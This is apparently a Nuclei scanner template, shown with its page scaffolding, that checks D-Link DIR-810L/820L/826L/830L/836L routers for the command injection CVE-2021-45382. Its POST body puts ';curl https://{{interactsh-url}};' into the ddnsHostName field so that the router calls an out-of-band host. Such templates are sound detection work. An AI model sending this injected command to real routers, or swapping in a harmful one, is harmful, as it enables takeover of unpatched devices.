52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2021-45382
|
|
|
|
info:
|
|
name: D-Link - Remote Command Execution
|
|
author: king-alexander
|
|
severity: critical
|
|
description: |
|
|
A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
|
|
remediation: |
|
|
DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-45382
|
|
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
|
|
- https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-45382
|
|
cwe-id: CWE-78
|
|
epss-score: 0.96871
|
|
epss-percentile: 0.99622
|
|
cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: dlink
|
|
product: dir-820l_firmware
|
|
tags: cve,cve2021,dlink,kev,rce
|
|
variables:
|
|
string1: "{{to_lower(rand_base(5))}}"
|
|
string2: "{{to_lower(rand_base(6))}}"
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/ddns_check.ccp"
|
|
|
|
body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- http
|
|
|
|
- type: word
|
|
part: interactsh_request
|
|
words:
|
|
- "User-Agent: curl"
|
|
|
|
# digest: 4b0a00483046022100907b2ad25dd5c1ee634a8870d9f7260003706dc622eb66d89eb3c2c68c3e8db40221009517b062f68493b3232062aa67fb4f284925152edefd35e068a15fad9b64e758:922c64590222798bb761d5b6d8e72950
|